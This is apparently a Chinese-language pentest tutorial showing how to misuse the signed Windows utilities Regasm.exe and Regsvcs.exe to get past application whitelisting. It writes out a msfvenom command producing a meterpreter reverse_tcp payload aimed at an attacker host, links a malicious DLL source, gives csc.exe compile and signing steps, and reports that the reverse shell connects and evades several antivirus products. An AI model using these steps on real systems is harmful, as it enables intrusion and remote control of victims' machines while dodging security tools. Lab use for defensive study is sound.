当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x02 使用Regasm.exe/Regsvcs.exe执行Payload
免杀能力一览表
0x01 Regasm.exe/Regsvcs.exe简介
Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单,以指定应在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行,也将执行具有注册和取消注册属性的代码。
由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。
0x02 使用Regasm.exe/Regsvcs.exe执行Payload
复现环境
攻击机:Kali 192.168.19.128
受害机:Win7 192.168.19.130
使用工具:Metasploit
依赖环境:Microsoft.NET Framework v4.0.30319、Microsoft SDKs
复现过程
1、首先下载用以生成恶意dll的cs文件
https://github.com/3gstudent/Bypass-McAfee-Application-Control–Code-Execution/blob/master/regsvcs.cs
2、在攻击机上使用msfvenom生成C#格式的payload
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f csharp
3、将regsvcs.cs(下载的regsvcs.cs为执行calc.exe程序的cs文件)中的shellcode替换成为在攻击机上使用msfvenom生成C#格式的payload
4、生成dll文件
利用C:\Windows\Microsoft.NET\Framework\v4.0.30319文件夹中的csc.exe程序可以将cs文件生成为dll文件。
编译dll,注意文件的路径:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
regsvcs.exe加载或卸载指定dll时该dll必须签名才可执行成功,因此命令中使用的key.snk文件为dll签名文件,是由sn.exe
生成的公钥和私钥对,如果没有sn命令你可能需要安装vs或者Microsoft SDKs。
5、配置攻击机的Msf
6、使用Regasm.exe/Regsvcs.exe执行恶意dll文件
(1)利用Regsvcs.exe执行dll文件
可见Msf已上线
(2)利用Regasm.exe执行dll文件
Msf也可以上线
0x03 小结
生成的dll文件分别使用360安全卫士、360杀毒、火绒杀毒进行检测,均未发现任何风险。
但使用Regasm.exe/Regsvcs.exe执行恶意dll文件时,360安全卫士会根据行为进行报警。
利用VT进行查杀,查杀率为31/69。
参考链接:
攻击复现 —— 利用Regasm.exe与Regsvcs.exe绕过AppLocker:https://www.freebuf.com/column/217229.html
渗透测试中弹shell的多种方式及bypass:https://xz.aliyun.com/t/5768#toc-12
虽然我们生活在阴沟里,但依然有人仰望星空!